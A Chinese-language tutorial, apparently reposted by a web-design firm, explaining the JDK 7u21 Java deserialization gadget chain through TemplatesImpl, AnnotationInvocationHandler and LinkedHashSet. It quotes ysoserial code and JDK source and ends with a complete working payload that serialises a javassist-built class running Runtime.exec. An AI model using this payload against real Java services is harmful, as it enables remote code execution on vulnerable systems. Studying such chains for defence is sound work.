Java7u21链原理是什么

这篇文章主要介绍“Java 7u21链原理是什么”,在日常操作中,相信很多人在Java 7u21链原理是什么问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”Java 7u21链原理是什么”的疑惑有所帮助!接下来,请跟着小编一起来学习吧!

创新互联公司主要从事网页设计、PC网站建设(电脑版网站建设)、wap网站建设(手机版网站建设)、成都响应式网站建设公司、程序开发、网站优化、微网站、小程序制作等,凭借多年来在互联网的打拼,我们在互联网网站建设行业积累了丰富的成都网站建设、成都做网站、网站设计、网络营销经验,集策划、开发、设计、营销、管理等多方位专业化运作于一体。

简介

jdk7u21 链,是一个不需要借助第三方库就能实现的链。影响版本<=7u21

分析

from ysonerial

我们先来看看ysonerial里的payload是怎么写的,然后沿着其思路进行分析

public Object getObject(String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler)Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = (Templates)Gadgets.createProxy(tempHandler, Templates.class, new Class[0]);
LinkedHashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", (Object)null);
Reflections.setFieldValue(templates, "_class", (Object)null);
map.put(zeroHashCodeStr, templates);
return set;
}

TemplatesImpl

我们看到,ysonerial的payload上来就通过Gadgets.createTemplatesImpl(command) 试图创建一个TemplatesImpl类。 createTemplatesImpl源码如下,我们发现创建TemplatesImpl类后又通过反射和javassist做了许多操作。

public static <T> T createTemplatesImpl(String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Gadgets.StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"") + "\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
byte[] classBytes = clazz.toBytecode();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Gadgets.Foo.class)});
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

那么为什么要创建这个类并且调用反射和javassist机制呢?先不急,我们看一下TemplatesImpl源码。

首先TemplatesImpl类中有个方法defineTransletClasses,它的主要代码如下

private byte[][] _bytecodes = (byte[][])null;

private void defineTransletClasses() throws TransformerConfigurationException {
if (this._bytecodes == null) {
.....
} else {
TemplatesImpl.TransletClassLoader loader = (TemplatesImpl.TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TemplatesImpl.TransletClassLoader(ObjectFactory.findClassLoader());
}
});

try {
int classCount = this._bytecodes.length;
this._class = new Class[classCount];

for(int i = 0; i < classCount; ++i) {
this._class[i] = loader.defineClass(this._bytecodes[i]);  \\将_bytecodes中的所有字节通过defineClass转化为一个类
Class superClass = this._class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
this._transletIndex = i;
} else {
this._auxClasses.put(this._class[i].getName(), this._class[i]);
}
}
}

也就是说通过这个方法可以将_bytecodes数组中的字节还原成一个类,存储到_class变量中。接下来如果我们能找到调用defineTransletClasses方法并执行了_class[].newinstance() 这样的的代码的方法,就能实例化从字节得到的类了,从而就能执行类中的静态代码块和构造函数了! 所以接下来我们需要去寻找这种方法。 通过搜索defineTransletClasses,我们找到了有如下三个方法调用了defineTransletClasses方法:

getTransletInstance
getTransletIndex
getTransletClasses

其中,getTransletInstance方法是唯一符合“调用了defineTransletClasses且有_class[].newinstance()”的方法,其代码如下

private Translet getTransletInstance() throws TransformerConfigurationException {
ErrorMsg err;
try {
if (this._name == null) {
return null;
} else {
if (this._class == null) {
this.defineTransletClasses();
}

AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance(); \\here
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(this._useServicesMechanism);
if (this._auxClasses != null) {
translet.setAuxiliaryClasses(this._auxClasses);
}

return translet;
}

那么,getTransletInstance是一个private方法,我们不能直接调用它,在那里能去调用它呢?答案是newTransformer方法

public synchronized Transformer newTransformer() throws TransformerConfigurationException {
TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory);  \\here
········
}

OK.我们找到了触发7u21链的一个核心点了。我们写个小demo来通过TemplatesImpl实现代码执行 小demo的实现思路为:通过javassist动态生成一个恶意类(构造方法或者静态代码块有恶意代码),然后通过反射生成一个TemplatesImpl对象并设置各个变量的值,然后调用一下TemplatesImpl对象的newTransformer方法即可造成代码执行,代码如下

public class test{
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("evilclass");
String cmd = "Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd); \\向静态代码块插入恶意代码,插入到构造函数也可以
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));  \\需设置此项才能实现newinstance,具体原因请看defineTransletClasses和getTransletInstance源码
cc.setName("evilClass");


byte[] evilbytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{evilbytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Class clazz = TemplatesImpl.class.newInstance().getClass();
Field[] Fields = clazz.getDeclaredFields();
for (Field Field : Fields) { //遍历Fields数组
try { 
Field.setAccessible(true);  //对数组中的每一项实现私有访问
if(Field.getName()=="_bytecodes"){
Field.set(templates,targetByteCodes);
}
if(Field.getName()=="_class"){
Field.set(templates,null);
}
if(Field.getName()=="_name"){
Field.set(templates,"abc");
}
if(Field.getName()=="_tfactory"){
Field.set(templates,new TemplatesImpl());
}
} catch (Exception e) {}
}
templates.newTransformer();
}
}

但仅仅是这样,肯定是不够的。

AnnotationInvocationHandler

我们继续看ysoserial源码可以看到动用了AnnotationInvocationHandler这个东西.这个类原本的作用是作为Annotation 类的动态代理

我们把目光聚焦于invoke方法——动态代理的核心

public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} 
..........
}

它会检测传入的方法中是否有符合 名为equals,只有一个Object类型参数。若是,则调用equalsImpl方法并传入方法中的参数。 跟进equalsimpl方法

private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;

for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);   \\here
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}

if (!memberValueEquals(var7, var8)) {
return false;
}
}

return true;
}
}

发现会invoke 传入参数中的所有方法。 那么接下来我们就可以按照下面的思路写一个命令执行小demo:

创建一个包含恶意代码的TemplatesImpl实例,通过AnnotationInvocationHandler创建任意一个代理对象,然后代理对象调用equals方法传入参数为恶意TemplatesImpl对象,即可造成恶意代码执行 看到这里一定一头雾水,看看demo也许会好一点

public class test{
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("evilclass");
String cmd = "Runtime.getRuntime().exec(\"calc\");";
CtConstructor cons = new CtConstructor(new CtClass[]{},cc);
cons.setBody("Runtime.getRuntime().exec(\"calc\");");
cc.addConstructor(cons);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.setName("evilClass");

byte[] evilbytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{evilbytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Class clazz = TemplatesImpl.class.newInstance().getClass();
Field[] Fields = clazz.getDeclaredFields();
for (Field Field : Fields) { //遍历Fields数组
try { //执行get()方法时需抛出IllegalAccessException错误
Field.setAccessible(true);  //对数组中的每一项实现私有访问
if(Field.getName()=="_bytecodes"){
Field.set(templates,targetByteCodes);
}
if(Field.getName()=="_class"){
Field.set(templates,null);
}
if(Field.getName()=="_name"){
Field.set(templates,"abc");
}
if(Field.getName()=="_tfactory"){
Field.set(templates,new TemplatesImpl());
}
} catch (Exception e) {}
}
//以上代码生成了恶意TemplatesImpl对象templates

Map map = new HashMap();
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];  //获得AnnotationInvocationHandler构造方法,方便获得它一个实例
ctor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);  //这里有个问题,为什么要传入Templates类对象而不是TemplatesImpl
Object proxy = Proxy.newProxyInstance(null, Object.class.getInterfaces(), invocationHandler);  \\反正创建一个AnnotationInvocationHandler的代理对象就行了,前两个参数都不用怎么管
proxy.equals(templates); //恶意代码执行
}
}

我们慢慢看看逻辑,在proxy.equals处下断点,调试 毫无疑问会进入到此处:AnnotationInvocationHandler的invoke方法。

然后参数符合if判断,调用equalsImpl方法,并传入参数为恶意TemplatesImpl对象,接下来就是进入反射调用处

遍历var2变量中的方法,并由我们的恶意对象来执行。

————此处插一下var2变量的来历

注意此处的getMemberMethods方法,它实质上是通过反射获得this.type中的所有方法。而this.type是在该对象构造方法中传入的第一个参数。

getMemberMethods:

构造方法:

————回到正题

由于我们通过反射传入构造方法的第一个参数是Templates.class,所以它会遍历Templates类中的所有方法。这个类其实是TemplatesImpl的接口类,它的代码如下

所以var2中存储的方法只有两个,newTransformer和getOutputProperties。 然后当遍历到newTransformer方法时,就会通过反射调用达到 eviltemplatesImpl.newTransformer() 的效果,从而导致恶意TemplatesImpl对象中的恶意代码被执行。

这里承接上面说的,为什么初始化AnnotationInvocationHandler对象时传入的第一个参数(即this.type)是Templates.class,而不是TemplatesImpl.class 诚然,这两个类对象都有方法newTransformer。但是如果传入TemplatesImpl.class,在遍历其中方法并通过反射执行时会出现错误:equalsImpl中的反射调用是不传入参数的

Java 7u21链原理是什么

而TemplatesImpl中有许多需要传入参数才能被正常使用的方法,如果不传入参数就反射调用就会抛出异常,以至于在遍历到newTransformer方法前就会抛出异常,从而导致代码执行不被实现。

仅仅是这样,也还是不够的,我们还是得手动调用equals才能导致代码执行,反序列化点在哪里?

LinkedHashSet

ysoserial的payload中出现了此类。

Java 7u21链原理是什么

LinkedHashSet继承自HashSet类,它的readObject方法也是从HashSet继承而来的。我们看看readObject方法的构造

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
int var2 = var1.readInt();
float var3 = var1.readFloat();
this.map = (HashMap)(this instanceof LinkedHashSet ? new LinkedHashMap(var2, var3) : new HashMap(var2, var3));
int var4 = var1.readInt();

for(int var5 = 0; var5 < var4; ++var5) {
Object var6 = var1.readObject();
this.map.put(var6, PRESENT);
}

}
}

它的主要亮点在for循环里面:遍历传入的序列化对象,将其反序列化后,再传入put方法

所以我们再来跟进一下map.put方法

public V put(K var1, V var2) {
if (var1 == null) {
return this.putForNullKey(var2);
} else {
int var3 = this.hash(var1);
int var4 = indexFor(var3, this.table.length);

for(HashMap.Entry var5 = this.table[var4]; var5 != null; var5 = var5.next) {
Object var6;
if (var5.hash == var3 && ((var6 = var5.key) == var1 || var1.equals(var6))) {  //here
Object var7 = var5.value;
var5.value = var2;
var5.recordAccess(this);
return var7;
}
}

++this.modCount;
this.addEntry(var3, var1, var2, var4);
return null;
}
}

注意我们添加注释那一行,有一个var1.equals(var6))) 其中var1和var6我们都是可以控制的:var1即传入的反序列化对象(恶意TemplatesImpl),var6实际上也是我们传入的反序列化对象(恶意AnnotationInvocationHandler代理对象)。

但是想要执行var1.equals(var6))) 则必须要让 var5.hash == var3 为true 且 (var6 = var5.key) == var1为false. 怎么做到呢?

注意put方法的第5行,对传入的反序列化对象调用了hash方法。我们跟进hash方法

final int hash(Object var1) {
int var2 = 0;
if (this.useAltHashing) {
if (var1 instanceof String) {
return Hashing.stringHash42((String)var1);
}

var2 = this.hashSeed;
}

var2 ^= var1.hashCode();  //here
var2 ^= var2 >>> 20 ^ var2 >>> 12;
return var2 ^ var2 >>> 7 ^ var2 >>> 4;
}

发现会执行传入的参数对象的hashCode()方法 当我们传入的参数为恶意AnnotationInvocationHandler代理对象时,会调用代理对象中的invoke方法。对于AnnotationInvocationHandler而言当判断到执行hashCode方法时,实质上会执行AnnotationInvocationHandler中的hashCodeImpl方法

Java 7u21链原理是什么

我们跟进hashCodeImpl

private int hashCodeImpl() {
int var1 = 0;

Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}

return var1;
}
上面是真实代码,比较难看,所以借鉴了一下别人对其进行修改后的代码,方便我们进行分析
private int hashCodeImpl() {
int result = 0;
// 遍历 memberValues
Iterator itr = this.memberValues.entrySet().iterator();
for( ;itr.hasNext(); ) {
Entry entry = (Entry)itr.next();
String key = ((String)entry.getKey());
Object value = entry.getValue();
// 127 * key 的 hashCode,再和 memberValueHashCode(value) 进行异或
result += 127 * key.hashCode() ^ memberValueHashCode(value);
}
return result;
}

这个方法会遍历this.memberValues属性(这个属性实质上就是HashMap内添加的属性),然后对其中每一项键值属性进行进行位运算并累加

其中memberValueHashCode函数我们也可以跟进一下Java 7u21链原理是什么

发现只要传入参数不为数组,就调用它的hashCode函数并返回。

我们来梳理一下,怎么才能调用到put方法里的equals触发代码执行: payload阶段:

建立一个map变量,其key为特殊的一个值:f5a5a608,这个值的hashCode是0,然后值为恶意templatesImpl类,然后以这个map变量为参数建立AnnotationInvocationHandler代理对象。

Java 7u21链原理是什么

再向HashMap里放入一个值,键为恶意TemplatesImpl对象, 再放入一个值,键为恶意AnnotationInvocationHandler对象。 (LinkedHashSet会让HashMap有序,从而在反序列化的时候能按顺序依次从HashMap读取对象。如果用HashSet,则会在反序列化时报错)

Java 7u21链原理是什么

反序列化阶段:

随后在readObject时,TemplatesImpl先被put方法调用。

Java 7u21链原理是什么

然后在put方法里通过hash()方法获得其hash,并将其录入到它的hash属性里,然后写入到HashMap的存储队列里。

Java 7u21链原理是什么然后AnnotationInvocationHandler再被put方法调用

Java 7u21链原理是什么在对其使用hash方法获得hash时,会因其是一个代理类的缘故在hash函数内部调用hashCode()方法时会调用其代理方法hashCodeImpl。

Java 7u21链原理是什么

Java 7u21链原理是什么

随后在hashCodeImpl内部遍历this.memberValues变量(也就是之前初始化时放入的map变量)

Java 7u21链原理是什么

将每一项的key值的hashCode与传入map vaule值作为参数的memberValueHashCode方法进行异或。 这个memberValueHashCode方法会判断传入的值是否为数组,若不是数组则直接返回参数的hashCode()。

因为我们之前初始化代理对象时传入的是一个键为f5a5a608,值为eviltemplates的map,所以以上hash计算最终得到的结果,便是0^(templatesImpl.hashCode()). 也就是templatesImpl.hashCode()。所以也就是说AnnotationInvocationHandler对象作为参数传入被hash方法执行后的结果,就相当于是hash(eviltemplates)

随后这个值来到if判断逻辑,它遍历之前的值,并将遍历得到的值赋给var5

上一个值的hash(也就是eviltemplates的hash)与AnnotationInvocationHandler对象的hash(也还是eviltemplates的hash)相同,但是AnnotationInvocationHandler对象与eviltemplates对象并不相同,所以便触动了equals,代码执行成功。

完整payload

纵观以上三个类,我们可以写出payload

public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("evilclass");
String cmd = "Runtime.getRuntime().exec(\"calc\");";
CtConstructor cons = new CtConstructor(new CtClass[]{},cc);
cons.setBody("Runtime.getRuntime().exec(\"calc\");");
cc.addConstructor(cons);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.setName("evilClass");

byte[] evilbytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{evilbytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Class clazz = TemplatesImpl.class.newInstance().getClass();
Field[] Fields = clazz.getDeclaredFields();
for (Field Field : Fields) { //遍历Fields数组
try { //执行get()方法时需抛出IllegalAccessException错误
Field.setAccessible(true);  //对数组中的每一项实现私有访问
if(Field.getName()=="_bytecodes"){
Field.set(templates,targetByteCodes);
}
if(Field.getName()=="_class"){
Field.set(templates,null);
}
if(Field.getName()=="_name"){
Field.set(templates,"abc");
}
if(Field.getName()=="_tfactory"){
Field.set(templates,new TemplatesImpl());
}
} catch (Exception e) {}
}


Map map = new HashMap();
String magicStr = "f5a5a608";
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);

InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
Object proxy =  Proxy.newProxyInstance(null, Object.class.getInterfaces(), invocationHandler);
HashSet target = new LinkedHashSet();
target.add(templates);
target.add(proxy);
//这个map需要在Hashmap put了proxy后再赋值,不然会报错(我也不知道为什么
map.put(magicStr, templates);
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename));
oos.writeObject(target);
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();

看一下调用栈

Java 7u21链原理是什么

更直观的调用链

LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
// TemplatesImpl.getOutputProperties(),实际测试时会直接调用 newTransformer()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()

到此,关于“Java 7u21链原理是什么”的学习就结束了,希望能够解决大家的疑惑。理论与实践的搭配能更好的帮助大家学习,快去试试吧!若想继续学习更多相关知识,请继续关注创新互联网站,小编会继续努力为大家带来更多实用的文章!

分享名称:Java7u21链原理是什么
网站路径:https://www.cdcxhl.com/article42/pdsoec.html

成都网站建设公司_创新互联,为您提供建站公司响应式网站网页设计公司搜索引擎优化手机网站建设定制网站

广告

声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联

外贸网站制作